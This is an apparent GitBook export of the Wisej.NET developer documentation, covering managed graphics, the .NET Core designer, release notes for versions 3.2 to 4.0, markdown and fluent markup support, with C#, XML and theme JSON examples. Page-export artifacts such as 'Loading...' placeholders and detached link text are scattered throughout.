Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 190 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Wisej.NET

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Getting Started

Loading...

Loading...

Loading...

Loading...

Loading...

Concepts

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Controls & Components

General

Features that apply to the whole application, and to all the controls.

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Common Dialogs

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Buttons

Introduction

Welcome to Wisej.NET - the first Web Integrated Server Environment to design, build, debug, and manage Real Time ASP.NET Applications using C# or VB.NET with JavaScript in Visual Studio.

Wisej.NET is the most advanced, enterprise-scale, ASP.NET and ASP.NET Core development system in .NET. It covers just about the entire spectrum of features that business developers need to build and manage complex web applications.

It is also a Rapid Web Development system, thanks to its unique WYSIWYG pixel-perfect designer integrated into Visual Studio, and its familiar component object model.

Developers can achieve in a few days what would take months, if at all possible, with any other web framework. The power and versatility of Wisej.NET also mean that it's a large and sophisticated system, with hundreds of features and several ways to accomplish most tasks.

Documentation

Managed Graphics

Overview

If you're developing cross-platform applications, be particularly mindful of graphics-related code. While our managed implementation provides consistent behavior across platforms, you should still test the target platform thoroughly to ensure compatibility.

Until version 6.0.0, you could set the System.Drawing.EnableUnixSupport application switch to use System.Drawing.Common on Linux systems with libgdiplus. This is why Wisej.NET references version 6.0.0 of the System.Drawing.Common NuGet package.

Our new System.Drawing.Managed implementation delivers consistent performance across all platforms and aligns much more closely with the browsers' font measurements. This ensures a uniform experience regardless of the deployment platform.

Any reference to "net8.0" indicates the version against which Wisej.NET 4 is compiled. In your projects, you can use "net9.0" or "net10.0".

Wisej.NET 4 Usage

Wisej.NET requires a graphics library for loading images from files or embedded resources and measuring text on the server side for controls AutoSize set to true. No painting functionality is needed within Wisej.NET.

The Wisej.NET 4 package includes this dependency:

<PackageReference Include="Managed.System.Drawing" Version="4.0.*-*" />

We named the package "Managed.System.Drawing" because the "System" root name on nuget.org is reserved for Microsoft.

The namespace remains System.Drawing, so no code changes are needed. All primitives like Point, Size, and Color come from System.Drawing.Primitives. System.Drawing.Managed classes like Font and Image can cast to and from their System.Drawing.Common (GDI+) counterparts.

Platforms Support

In Wisej.NET 4 for .NET Framework, we shield developers from this difference. Although Font and Image come from System.Drawing.Common, all font measurements use the managed System.Drawing.Font internally, ensuring compatibility with .NET Core deployments.

As explained on the .NET Core Designer page, using the Visual Studio Designer required building a version of Wisej.Framework compatible with "net8.0-windows". This build uses System.Drawing.Common for public properties.

Feature
Windows (.NET Fx)
.NET Core All Platforms
.NET Core Designer

Font

Managed

Managed

Managed

Graphics

GDI+

Managed

GDI+

For deployment, we recommend using the non-OS-specific net8.0 target instead of "net8.0-windows" as it uses only managed code.

Deployment Target
Target Framework

Windows

net481 or net8.0

Linux or MacOS

net8.0

iOS Hybrid

net8.0-ios

Android Hybrid

net8.0-android

MacOS Hybrid

net8.0-maccatalyst

Windows Hybrid

net8.0-windows10.0.19041.0

As shown above, System.Drawing (GDI+) is only used for deployment on Windows servers using the .NET Framework.

Namespace Collision

Wisej.NET imports System.Drawing on .NET Framework targets and System.Drawing.Common on .NET Core targets to enable multi-targeting. It also imports System.Drawing.Managed. Since all three use the same namespace, failing to alias them may cause compiler errors, such as the Font class being available in multiple assemblies.

Since all three use the same namespace, failing to reference one of the assemblies correctly may cause compiler errors, such as the Font class being available in multiple assemblies.

In Wisej.NET 4, we reference and alias System.Drawing.Common like this:

Wisej-4.props
<!-- NETCORE:
	Include aliased System.Drawing.Common, it's almost never used. It's a required dependency for
	Managed.System.Drawing on netcore to provide optional implicit casting to/from native GDI+ types.
-->
<ItemGroup Condition="!$(TargetFramework.Contains(`-windows`)) And '$(TargetFramework.TrimEnd(`0123456789`))'!='net'">
	<PackageReference Include="System.Drawing.Common" Version="$(_TargetFrameworkVersionWithoutV).0" Aliases="sdc" ExcludeAssets="compile"/>
</ItemGroup>
  • If you get a namespace collision error, remove any System.Drawing.Common reference from your projects, as it's included with the Wisej.NET 4 NuGet package.

  • If a third party NuGet pulls in a reference to System.Drawing.Common with a different version causing compiler errors, you can instead add a <PackageReference> item in your project with the same version and add Alias="sdm" to the tag.

Alternative Libraries

Here are Microsoft's four alternatives and our assessment of each:

We plan to release the 4.0.0 NuGet package on nuget.org for use independently of Wisej.NET 4. Version 3.5 is incomplete and required only by Wisej.NET Hybrid for iOS and Android.

The Aspose.Drawing package provides a completely managed re-implementation of System.Drawing. While it offers excellent GDI+ compatibility, it uses a different namespace and requires a commercial license.

Provides interfaces, classes, and supporting types for .NET MAUI Graphics, the abstracted, unified drawing APIs that work cross-platform.

It provides minimal functionality to replace System.Drawing.Font or Image and gives different results on different platforms. It requires many dependencies and native bindings from various sources.

The is organized in multiple cross-linked books. This one is the most extensive, being about the concepts and features for each one of the many available controls.

There is also a full , and a book for the extension, integration, deployment, and more.

.NET (formerly .NET Core) version 7.0.0 and later System.Drawing.Common on Linux. This change leaves Linux users without a direct, Microsoft-provided alternative.

Additionally, .NET code running on iOS or Android platforms has never supported any version of System.Drawing.Common. Microsoft recommends using such as ImageSharp or SkiaSharp for these platforms.

In Wisej.NET 3, there are three graphics implementations: GDI+ on Windows, libgdiplus on Linux, on iOS and Android. All three implementations provide different font measurements, leading to inconsistencies across platforms.

Applications built on Wisej.NET can use the event to draw on controls or within grid cells, enabling complex UI features.

System.Drawing.Managed (and ) has two major implementations: Font and Graphics. Font handles loading, measuring, and rendering fonts. Graphics handles loading, saving, and drawing images, providing operations available in System.Drawing.Graphics.

Only the Font implementation is available on the .NET Framework because 's Graphics implementation relies on graphics acceleration primitives exclusive to .NET Core.

Fully Managed Code: With no native dependencies or interop code, ImageSharp simplifies development and can be installed anywhere supports- anything from external devices to embedded/IoT scenarios.

is a managed graphics library that handles various graphic formats, including WebP. Combined with its Fonts library, it provides a foundation for implementing a cross-platform version of System.Drawing.

We licensed the source code and worked with SixLabors' founder to create System.Drawing.Managed. This single, self-contained, managed .NET library replaces System.Drawing.Common on all platforms, ensuring consistent font measurements across browsers and platforms.

SkiaSharp is a cross-platform 2D graphics API for .NET platforms based on Google's . It provides a comprehensive 2D API for rendering images for mobile, server, and desktop models.

Developed by the Mono team, this library offers classes built around Google's native library. It requires different native assets for platforms and differs from System.Drawing basic operations like reading font size or measuring text. It cannot measure wrapping lines of text without extensions. Our tests showed font measurements that differed from those of Chromepite Chrome using ; it appears to use many extensions and modifications.

A thin wrapper with limited functionality around (a wrapper around UWP and WinUI platforms) and (a wrapper around , which wraps ).

documentation
API book
no longer supports
ImageSharp
Paint
ImageSharp
ImageSharp
ImageSharp
.NET 6+
ImageSharp
ImageSharp
SkiaSharp
Skia Graphics Library
Skia
Skia
Aspose.Drawing
Microsoft.Maui.Graphics
Microsoft.Graphics.Win2D
Microsoft.Maui.Graphics.Skia
SkiaSharp
Skia
alternative libraries

Getting Started

Welcome to Wisej.NET - the first Web Integrated Server Environment to design, build, debug, and manage Real Time ASP.NET Applications using C# or VB.NET with JavaScript in Visual Studio.

You must have an internet connection to activate the developer license.

Visual Studio Requirements

Make sure that you have installed these 2 workloads:

  • ASP.NET and web development

  • .NET desktop development (needed for the designer)

.NET Core Designer

Overview

In Wisej.NET 4, we have reimplemented all designers and editors to be compatible with the new out-of-process Visual Studio designer for .NET Core. We will support both sets of designers and editors for .NET Framework and .NET Core, providing flexibility and functionality for developers in various environments.

The design experience remains unchanged, with one exception: a slight delay at startup occurs because Visual Studio needs to load the hidden DesignToolsServer.exe process. The overall functionality and user experience remain consistent.

How to Use

To maintain compatibility with the .NET Framework, you can leave your multi-targeting unchanged:

<TargetFrameworks>net48;net8.0</TargetFrameworks>

To eliminate dependencies on the .NET Framework and switch to using only the .NET Core designer, you will need to employ multi-targeting exclusively with .NET Core targets:

<TargetFrameworks>net8.0-windows;net8.0</TargetFrameworks>

Replace your target framework from "net48" to "net8.0-windows", and leave the rest unchanged.

Any reference to net8.0 indicates the version against which Wisej.NET 4 is compiled. In your projects, you can use net9.0 or net10.0.

The net8.0-windows target is required to load the Visual Studio designer because it relies on Windows controls. You won't deploy net8.0-windows itself. Instead, deploy net8.0 on both Windows and Linux platforms.

Any project that contains Wisej.NET controls that need to be loaded by the designer requires the `net8.0-windows' target. Otherwise, any non-visual library can simply target `net8.0`.

New Startup Wizard

When you choose one of the updated templates, categorized under Project Type as either Wisej.NET 4 or Wisej.NET 4 Hybrid, you will be presented with the new startup wizard shown below.

The primary change is that you can now independently choose .NET Framework and .NET Core versions. Additionally, under the .NET Framework option, you can select "(None)". The project will be configured with the specific settings relative to each target, either included or excluded, based on your selection.

Image Changes

If your projects use local and global embedded images in .resx files, you will need to update the type attribute in all .resx files and change all casts from System.Drawing.Bitmap to Wisej.Base.ResourceImage.

If you are using System.Drawing.Bitmap, System.Drawing.Image, or relying on image names, no changes are necessary.

Refer to the page below for instructions on how to update your projects manually or using the provided tool:

Compatibility

Please be aware that .NET Core is capable of reading all designer files initially created with .NET Framework. However, if the designer code is subsequently updated in .NET Core, it may become incompatible with the .NET Framework designer. Specifically, the .NET Core designer modifies the serialized code in the following ways:

  1. It removes the this keyword. For example, the line this.button1.Text = "button1" is simplified to button1.Text = "button1".

  2. It also eliminates the use of the delegate class when attaching to events. For example, this.button1.Click += new System.EventHandler(this.button1_Click); is simplified to button1.Click += button1_Click;.

The first change, which involves the removal of the this keyword, maintains compatibility between .NET Core and .NET Framework.

However, if you open the designer code that has been updated in .NET Core using the .NET Framework designer, all the event handlers will be lost. This is due to the change in how delegate instances are created and attached to events.

Architecture

With .NET Framework, everything, including your application, Wisej.NET designers, editors, and serializers, was integrated and run within Visual Studio. With .NET Core, this integration isn't feasible because Visual Studio cannot directly load .NET Core code.

Microsoft divided the designer system into two main components:

  • A "client" component running on .NET Framework within Visual Studio

    • Manages Visual Studio elements like "menus," "toolbars," "property editors," "edit windows," and the "property grid."

  • A "server" component running in a hidden .NET Core process

    • Loads your Wisej.NET code and executes it to render designer windows

    • "Injects" these windows into Visual Studio through the DesignToolsServer.exe process

  • These components communicate through an interprocess framework:

    • The client sends request packets for themes, classes, and application data

    • The server processes these through handlers and returns responses

Diagnostic Tool

Custom Designers

If you have developed a custom designer, contact us for support on making it compatible with the .NET Core out-of-process designer system.

What's new in 4.0

Wisej.NET 4 Introduction

Getting Started

Wisej.NET 4 introduces significant improvements driven by two main factors:

  • The adoption of a .NET Core-only designer

  • The replacement of GDI+ with our managed graphics system

The .NET Core-only designer, in addition to the existing .NET Framework 4.8 designer enables projects to use the latest .NET Core libraries without maintaining .NET Framework compatibility.

Replacing GDI+ with our managed System.Drawing library standardizes font measurements across platforms and removes the need for libgdiplus on Linux systems.

It is crucial to ensure that any changes made by the designer can be undone and recovered. This ability is essential because if the designer serialization behaves unexpectedly, there is a risk of losing code.

Visual Studio 2019 is not supported with the Wisej.NET 4 Designer, regardless of whether you use .NET Framework 4.8 or .NET Core.

.NET Core Designer

Rebuilding Wisej.NET designers for the out-of-process .NET Core Designer required substantial changes and may present challenges in upcoming builds. Please be prepared to troubleshoot potential issues as we refine the implementation.

For details on the .NET Core designer in Wisej.NET 4, visit:

Managed Graphics

Wisej.NET uses two System.Drawing classes: Font for measuring labels in AutoSize controls and Image for loading and managing image resources.

While Wisej.NET doesn't use drawing operations directly, it supports applications that need painting capabilities.

Read below to understand how these changes affect your projects and potential issues to avoid:

Fluent Markup

Wisej.NET 4 incorporated comprehensive support for Fluent Markup syntax in both C# and VB.NET, enabling consistent coding across programming languages.

For an introduction to Wisej.Web.Markup extensions, visit:

Markdown Support

We've added the AllowMarkdown property to complement AllowHtml. This property enables markdown text rendering across Wisej.NET controls - expanded text formatting options.

Enhancements and Changes

Service Provider

The new AddOrReplaceService method replaces a service without requiring prior removal.

HttpOnly Cookies

ControlRendered and ControlUpdated Events

All controls now include the ControlRendered and ControlUpdated events. This allows applications to modify control JSON rendering and handle browser updates without subclassing.

Updated Templates

The updated file-scoped namespace declaration is now implemented across all .cs files. However, the transition to top-level statements is applied exclusively to the Startup.cs file. This modern approach simplifies the code structure, making it cleaner and easier to read.

Upgrade from 3.x

Some Wisej.NET projects need changes in .resx (resource) and .Designer.cs (designer) files for Wisej.NET 4 and managed System.Drawing compatibility.

To facilitate this transition, we have provided an upgrade tool that automatically implements these changes across your project files.

For detailed instructions, visit:

.NET Framework and VB.NET Support

Wisej.NET continues to support .NET Framework 4.8 (and newer) and VB.NET at both runtime and design time. As with all preceding versions, we will maintain this support for the foreseeable future.

Wisej.NET 3.5 Support

To facilitate a smooth transition from Wisej.NET version 3.5 to version 4.0, we will continue to maintain the 3.5 branch by providing bug fixes and enhancements for at least one year following the initial stable release of version 4.0. This ensures ongoing support and stability for existing users during their upgrade process.

Known Issues

Collection Editors

Editors, especially collection editors, present the most significant challenges when migrating to the out-of-process designer. As of now, we have integrated the following collection editors using the basic editor system that comes with the designer. However, we are planning to transition the more complex editors in an upcoming release.

  • DataGridView columns editor

  • TreeControl nodes editor

  • Menu items editor

Data Binding

Data binding and the associated editors function as expected. However, it's worth noting that Microsoft has not yet provided an implementation for the typed DataSet editor. Currently, Microsoft suggests using the new Object Data Source Binding as an alternative to accommodate this gap.

BinaryFormatter and .NET 9

If you prefer to use .NET 9 or .NET 10 instead of .NET 8, you can do so with minimal issues. However, it's important to note that with .NET 9, Microsoft has completely removed the BinaryFormatter, as part of their ongoing initiative to improve developer security by protecting them from themselves.

Interestingly, they have reintroduced the same "unsafe" classes by offering them as a NuGet package.

This change affects all designer .resx files that contain values serialized with the BinaryFormatter. While these files are safe as internal .resx files — something even Microsoft acknowledges — they will not load properly in .NET 9 and above unless you include the following NuGet package reference in your project:

<PackageReference 
    Include="System.Runtime.Serialization.Formatters" 
    Version="9.0.0-*" />

Additionally, we are actively working on removing the binary serialization of custom snap lines and responsive properties to align with the latest security practices and ensure optimal compatibility with .NET 9 and new releases.

Markdown Support

Overview

Wisej.NET 4 now offers Markdown support alongside HTML. This enhancement benefits Wisej.AI by aligning with the preferences of LLMs for formatting responses in Markdown.

The conversion from Markdown to HTML occurs server-side, ensuring the browser receives HTML data without client-side JavaScript conversion.

For developers, we've added the AllowMarkdown property to complement the existing AllowHtml property. We also provide the System.Markdown class with a ToHtml(string) method. This method lets applications convert Markdown text to HTML format at any point.

How to Use

To use Markdown in your application, set the AllowMarkdown property to "true". Then assign the Markdown text to the "Text" property for standard controls, or to the "Value" property for DataGridViewCell objects.

The example below shows a button in the designer and the "Text" property editor. You can mix Markdown and HTML.

To convert Markdown to HTML programmatically, use the Markdown.ToHtml(text) method from the System.Markdown class:

Like the AllowHtml property, you cannot automatically resize controls with HTML content. This applies to HTML and Markdown content, as Markdown converts to HTML before rendering.

Fluent Markup

Overview

Fluent Markup is a collection of helper methods and classes aimed at simplifying the creation of declarative .NET App UI in code.

While Wisej.NET allows you to use the designer to build rich UI components, there are many occasions where it is necessary to build or modify visual components through code. The new Wisej.Web.Markup extensions make this task significantly more enjoyable.

Fluent Markup is not supported with VB.NET. Properties are similar to methods and clash with extension methods with the same name.

Examples

Currently, if you want to add a Button with a label, a data-bound text with binding events, and attach a "click" event to the button, you would need to write code similar to the following:

With the new Wisej.Web.Markup extensions, the same code can be written as follows:

Properties are added as methods with the same name as the property. Events are added with the prefix ".On" followed by the name of the event.

Events that use the EventArgs type are represented by simple methods that only use the sender as a single argument. Events that pass an argument are represented by actions that take both the sender and the arguments.

For example:

Due to the extensive range of properties and events in Wisej.NET controls, we are excited to enhance the markup extensions. Additional properties and methods will be included in upcoming builds.

What's new in 3.5

Wisej.NET 3.5 adds native support for hybrid applications running on all sorts of devices, including full offline support, and many enhancements to the .NET class library and the corresponding JavaScript widgets.

Getting Started

The Visual Studio 2019 and 2022 extension packages are linked below:

Wisej.NET Targets .NET 7

Wisej.NET 3.5 is now compiled against .NET 7. This means that existing .NET 6 projects that would like to use the latest version of 3.5 must update the target framework dependency.

Wisej.NET Hybrid and Offline Support

Wisej.NET Hybrid includes three new project templates for creating applications:

Client Application

This project template is used to create a Wisej.NET Hybrid Client. The Client project builds and runs an executable (.exe, .apk, .ipa, etc.) that can be deployed on any desktop or mobile platform.

This template is based on .NET MAUI. You can interact with this project the same way you would with any other MAUI project.

Remote Application

Allows developers to build and deploy a traditional Wisej.NET application with the added ability of interacting with the Hybrid device's native functionalities.

This application is deployed to a remote web server such as IIS, Kestrel, or Nginx on Windows or Linux.

To use native device functionalities, you must access this application through the Wisej.NET Hybrid Client Application

Local Application

Allows developers to build and deploy applications that run entirely on the Hybrid device. The project template contains similar features to the Remote application template such as a Page control.

This project needs to be linked into the Wisej.NET Hybrid Client Application to use.

API and Component Enhancements

In 3.5 we also focused on extending the programming side of Wisej.NET with a number of enhancements to the object model, data a binding, the various components.

New Features

  • All controls that show a label gained a new AutoToolTip property. When set to true and the text is truncated, it will automatically use the title attribute to show the full label as a native tooltip.

  • TextBox.Text now converts all \n to \r\n when Multiline is true. Previously Wisej.NET allowed the browser to strip \r\n and instead return only \n as a new line.

New Constructors

Most controls have gained several new constructors, some with optional and default arguments, that allow developers to use the controls in code adopting a more flexible and easier syntax:

Common Method Chaining

Bootstrap Dark Theme

Wisej.NET 3.5 includes a new theme for building dark-style applications. The new Bootstrap Dark theme (BootstrapDark-4) is based on the existing Bootstrap-4 light theme.

New Extensions

Chat Control

The new Chat control can be used to build conversations into an existing Wisej.NET application. The new chat control supports text and custom message types, allowing users to share any type of control or data in the conversation.

Signature Control

The new Signature control can be used to collect and export user signatures. The control includes undo, redo, image import/export, and line customization features.

Pull-to-Refresh Component

The new Pull to Refresh component can be used to trigger a refresh of a data source associated with a scrollable panel. All containers inheriting from ScrollablePanel support the Pull-to-Refresh component.

TesseractJS Component

The new TesseractJS component allows developers to add real-time OCR scanning to the Wisej.Web.Ext.Camera control.

New Premium Extensions

Dynamsoft Barcode & Scanning Premium Extension

  • Dynamsoft Barcode Reader – JavaScript Web SDK

  • Dynamsoft Document Normalizer – JavaScript Web SDK

Mobiscroll Premium Extension

Developers are required to purchase a license from Mobiscroll for use of any components. The Wisej.NET integration uses the Mobiscroll JavaScript integration.

Upgrade from 3.x

Previously, upgrading to Wisej.NET 4 involved a complex process that required replacing instances of System.Drawing.Bitmap with Wisej.Base.ResourceImage. However, with the latest build, the requirement to use Wisej.Base.ResourceImage has been eliminated and the class has been removed. This update simplifies the upgrade process and enhances ease of development, making it more straightforward for developers to transition to the latest version.

Overview

Transitioning to Wisej.NET 4 and the .NET Core Designer requires replacing these two classes:

  1. System.Resources.ResourceManager ⇒ Wisej.Resources.ResourceManager

  2. System.ComponentModel.ComponentResourceManager ⇒ Wisej.Resources.ComponentResourceManager

The rationale behind this change is that the implementation of System.Resources.ResourceManager in .NET loads the specific type specified in the resources file without providing a way to override its behvior. Consequently, when dealing with embedded images, this approach fails on Linux systems without the installation of libgdiplus, and it is inherently incompatible with iOS and Android devices, resulting in failure on those platforms as well.

Our re-implementation maintains full compatibility with all existing resources and is flexible enough to adapt to the target platform seamlessly. On Windows, it utilizes System.Drawing (GDI+), while on all other platforms, it leverages our newly developed System.Drawing.Managed, which is based on ImageSharp.

The new Wisej.Resources.ResourceManager is available in Wisej.NET starting with build 3.5.18 to ensure backward compatibility from 4.0.

The replacement is necessary solely for managing embedded images. Generally, you will notice extensive use of the ResourceManager in all .Designer.cs and .Designer.vb files.

ResXFileCodeGenerator

Since the .Designer.cs or .Designer.vb file associated with a project's resources is automatically generated by Visual Studio using the ResXFileCodeGenerator tool, we have replaced it to ensure that the generated code utilizes the updated types introduced with Wisej.NET 4.

If you target only .NET Framework, these changes don't apply to you.

Upgrade Tool

The Upgrade Tool is designed to automate the migration of .Designer.cs/vb files by replacing the ResourceManager references.

The tool applies the following modifications:

  1. ComponentResourceManager Replaces all references to System.ComponentModel.ComponentResourceManager to Wisej.Resources.ComponentResourceManager. These are commonly found nested under the project's .resx files.

  2. ResourceManager

    • Replaces all references to System.Resources.ResourceManager to Wisej.Resources.ResourceManager. These are commonly found in the designer files related to visual components.

What's new in 3.2

Wisej.NET 3.2 adds new enterprise-grade features that simplify the development of complex Line of Business (LOB) cloud applications for the enterprise. Our goal is always to help improve developers productivity and make the applications using Wisej.NET more resilient and maintainable.

Getting Started

The Visual Studio 2019 and 2022 extension packages are linked below:

Validation System

We added a new Validation property extender to provide a modern, centralized, and flexible validation system to Wisej.NET applications.

Once you drop the new Validation component on a container at design time, all the controls are extended with a new property ValidationRules. You can assign multiple validation rules to any control.

Using the ValidationRules Collection Editor requires the Wisej.NET 3.2 VSIX to be installed within Visual Studio.

JSON View Builder

With Wisej.NET 3.2 we are introducing a new concept to build views using a JSON representation. In the future we may add XML or any custom parser, and we are also planning to use the new View Builder as an optional serializer in the designer.

Enhanced Font Support

Font support has been enhanced in the JavaScript layer as well as the server side .NET layer in Wisej.NET. Now we support using theme fonts that are not installed on the server.

Premium Extension: DevExpress JavaScript Dashboard

The DevExpress Dashboard is a control that allows developers to create interactive and customizable dashboards for business intelligence (BI) purposes. The platform offers a wide range of data visualization tools and widgets, such as charts, graphs, maps, gauges, and pivot tables.

HTTPS Local Server

Added Enable HTTPS option to the new project wizard.

Now projects include the full applicationhost.config file in /Properties, or in /My Project for VB.NET, preconfigured to listen to https://localhost:44391, for IIS Express and .NET 4.8.

For .NET Core it listens to the same https://localhost:44391 URL and it doesn't need to use applicationhost.config.

General Improvements

  • improvements across the board.

  • Consolidated bug fixes and enhancements to all controls.

  • DataGridView memory footprint for large data sets has been reduced.

  • New BindableComponent base class to enable data binding on components.

Advanced Design-Time Debug Mode

We added the option to enable the design-time debug mode in the Designer Options dialog. When enabled, Wisej.NET will show the Edge renderer(s) it uses to display each control in the pixel-perfect design view.

The first thing to do, now that you have installed Wisej.NET, is to launch Visual Studio and . Or, launch Visual Studio and open one of our many .

Sometimes Visual Studio decides not to show the new project templates. If that happens, please follow the instructions in the section.

The first time you open the designer, you will get the dialog. Enter your developer (or trial) license and everything should work.

If you are using the Wisej.NET Developer Community edition, please make sure to comply with the . Commercial use is only permitted for small organizations.

The Wisej.NET library can be used with any version of Visual Studio or Visual Studio Code. However, the designer plug in is supported on Visual Studio 2019 and 2022 (, , or ) on Windows.

For details on these Visual Studio changes, visit .

In the Wisej.NET designer toolbar, you will notice a new button positioned to the right of the options and license information buttons. This button opens a small diagnostic window that displays important data, such as the total memory usage and count of objects used by the designer process. By clicking the "Recycle" button within this window, you can close the designer windows and terminate the current designer process. The designer process will automatically restart when you reopen a design view.

We will extend the . This includes continuing to offer bug fixes and enhancements to ensure stability and reliability for users who are transitioning to version 4.0.

Because Visual Studio uses the .NET Framework, Microsoft divided the designer into two parts: the "client" component running on the .NET Framework within Visual Studio and the "server" component running in a hidden .NET Core process. These components connect through an interprocess communication framework. For details on these Visual Studio changes, visit .

System.Drawing in .NET Framework and System.Drawing.Common In .NET Core wrap Windows GDI+, the graphics device interface is used to render graphics and load fonts on Windows. System.Drawing.Common extends to Linux using . Microsoft provides no graphic support in .NET Core for iOS or Android platforms.

In Wisej.NET 3.5, font loading used different libraries per platform. .NET Framework 4.8 used System.Drawing with Windows GDI+. .NET Core used System.Drawing.Common with on Linux. Wisej.NET Hybrid applications used an early System.Drawing reimplementation using for iOS and Android. This caused font measurement differences across platforms.

Microsoft introduced Fluent Markup extensions for .NET Multi-platform App UI (), which are documented at . These extensions streamline declarative UI development in code.

This enhancement came from Tim at , one of our Technology Partners.

Wisej.NET controls with labels include the property for HTML tags in text.

methods are now chainable, allowing concise syntax like Application.Services.AddService<Service1>().AddService<Service2>().

We now fully support HttpOnly cookies. Previously, developers could use cookies through the native . The Wisej.Base.Cookie class now includes a property for managing HttpOnly cookies.

These events enable to add AI capabilities to any Wisej.NET control.

All C# templates have been revised to incorporate the latest C# syntax enhancements, specifically utilizing and .

This syntax comes particularly handy when using Wisej.NET with .

The latest Wisej.NET 3.5 is available on .

Wisej.NET 3.5 is now able to run on iOS, Android, and MacOS devices using the server in a new Wisej.NET Hybrid shell build using MAUI's native integrations.

Alternatively, you can add the NuGet package to an existing Wisej.NET project.

gained the new Visible property. It allows the application to hide items without having to remove and add them back to the collection.

The extender now supports the interface and data binding. We also added the Enabled property to the base class to allow the code to disable a specific validation rule without removing it from the Validation extender.

exposes the CreateSummaryRow, CreateDataBoundColumn, and CreateDataGridViewColumnFromType methods as public virtual to allow an application to customize the grid's inner behavior and fully control the automatica creation of rows and columns.

The extender allows a derived class to override its methods and fires the new ErrorChanged event to allow an application to customize error message and icons in a single location.

All basic methods in now return this to allow code to chain calls:

See documentation:

The new Barcode & Scanning premium extension gives developers an enterprise-ready option for barcode scanning and text (OCR) scanning on the web.

Developers are required to purchase the following licenses from :

The new premium extension gives developers a suite of mobile-friendly controls and components to use in Wisej.NET applications.

The latest Wisej.NET 3.2 is available on . To use the build, make sure to check the Prereleases option in the NuGet Package Manager.

Using this extension requires a .

Expanded Binding and MVVM support to and .

create a new project
examples
New Project
license activation
terms & conditions
Community
Professional
Enterprise
Troubleshooting
Upgrade from 3.x
Microsoft's documentation
Microsoft's documentation
.NET Core Designer
libgdiplus
libgdiplus
ImageSharp
Managed Graphics
MAUI
Fluent Markup Extensions
POET
Fluent Markup
AllowHtml
Markdown Support
Application.Services
HttpOnly
HttpContext
Wisej.AI
file-scoped namespaces
top-level statements
Upgrade from 3.x
support for Wisej.NET version 3.5
this.label1.AllowHtml = true;
this.label1.Text = Markdown.ToHtml("**Bold**");
var textBox = new TextBox
{
	LabelText = "Name:",
	Location = new Point(20, 20),
	Size = new Size(150, 24)
};
var binding = textBox.DataBindings.Add("Text", dataSource, "FirstName");
binding.Format += (s, e) => { 
	e.Value = e.Value.ToString().ToUpper();
};
var button = new Button
{
	Text = "Click me",
	Location = new Point(20, 50),
	Size = new Size(80, 32),
};
button.Click += (s, e) => { 
	// Do something on click.
};
page.Controls.Add(button);
page.Controls.Add(textBox);
using Wisej.Web.Markup;

page.Controls(
	new TextBox()
		.LabelText("Name:")
		.Location(20, 20)
		.Size(154, 24)
		.Bind("Text", dataSource, "FirstName", 
			format: v => v.Value.ToString().ToUpper()),
	new Button()
		.Text("Click me")
		.Location(20, 50)
		.Size(80, 32)
		.OnClick(b =>
		{
			// Do something on click.
		}
));
// Closing event uses CancelEventArgs
form.OnClosing((f, e) => e.Cancel = false);

// Closed event uses EventArgs
form1.OnClosed(f => Debug.WriteLine($"{f.Text} is closed."));
' Closing event using CancelEventArgs
form.OnClosing(Sub(f, e) e.Cancel = False)

' Closed event using EventArgs
form.OnClosed(Sub(f) Debug.WriteLine($"{f.Text} is closed."))
// Previous syntax.
var button1 = new Button
{
    Text = "Click Me",
    Size = new Size(100, 24),
    Location = new Point(10, 10)
});
button1.Click += (s, e) => { AlertBox.Show("Clicked!"); };
this.Controls.Add(button1);

// New syntax.
this.Controls.Add(
    new Button(
        "Click Me",
        new Point(10, 10),
        new Size(100, 24),
        (s, e) => { AlertBox.Show("Clicked!"); })
);
this.textBox1.Show().CenterToParent().BringToFront();

Releases

Installing Wisej.NET for Visual Studio
LogoExamplesWisej.com
LogoWisej VideosWisej.com
LogoDatabinding with the OOP Windows Forms Designer - .NET Blog.NET Blog
Visual Studio Code
NuGet
📦
Visual Studio 2019
📦
Visual Studio 2022
EmbedIO
Wisej-3-Hybrid
ListViewItem
Items
Validation
IDataErrorInfo
ValidationRule
DataGridView
ErrorProvider
Control
https://docs.wisej.com/extensions/extensions/signature
Dynamsoft
Dynamsoft
Mobiscroll
NuGet
📦
Visual Studio 2019
📦
Visual Studio 2022
Validation Rules
View Builder
Enhanced Font Support
Developer Express license
ICommand
ToolBarButtons
MenuItems
Design-Time Debug

Enhanced Font Support

Font support has been enhanced in the JavaScript layer as well as the server side .NET layer in Wisej.NET 3.2. Now we support using theme fonts that are not installed on the server and can load all the different variations for a font family.

Private Fonts

  • montserrat-bold.ttf

  • montserrat-bolditalic.ttf

  • montserrat-italic.ttf

  • montserrat-regular.ttf

Wisej.NET will load all the montserrat-*.ttf files in a private Montserrat family and use it at runtime for autosizing and layout calculations.

This new feature is particularly useful when deploying to Azure App Services or other providers that don't allow you to install custom fonts on the servers.

Font CSS Rules

Font sources added to a theme now support specifying the font-style and font-weight properties. It allows a font family in the theme to use different sources (woff, woff2, ttf, etc.) for different styles and weights.

Until now Wisej.NET supported only the "normal" source and let the browser render the different styles and weights.

This is the definition in the theme file:

        "default": {
            "size": 13,
            "family": ["Open Sans"],
            "weight": 400,
            "sources": [{
                "fontWeight": "400",
                "fontStyle": "normal",
                "version": "1.2.3.4",
                "family": "Open Sans",
                "source": ["https://fonts.gstatic.com/s/opensans/v34/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsiH0C4k.woff"]
            }]
        }

Note the "version":"1.2.3.4" optional property. It allows the theme to add a custom "version" argument to the source URLs to force reloading the font from a URL that may be cached.

You can also reuse the same .tff files deployed in /Themes/Fonts in the sources for the font definition in the theme or theme mixin.

 "default": {
            "size": 13,
            "family": ["Montserrat"],
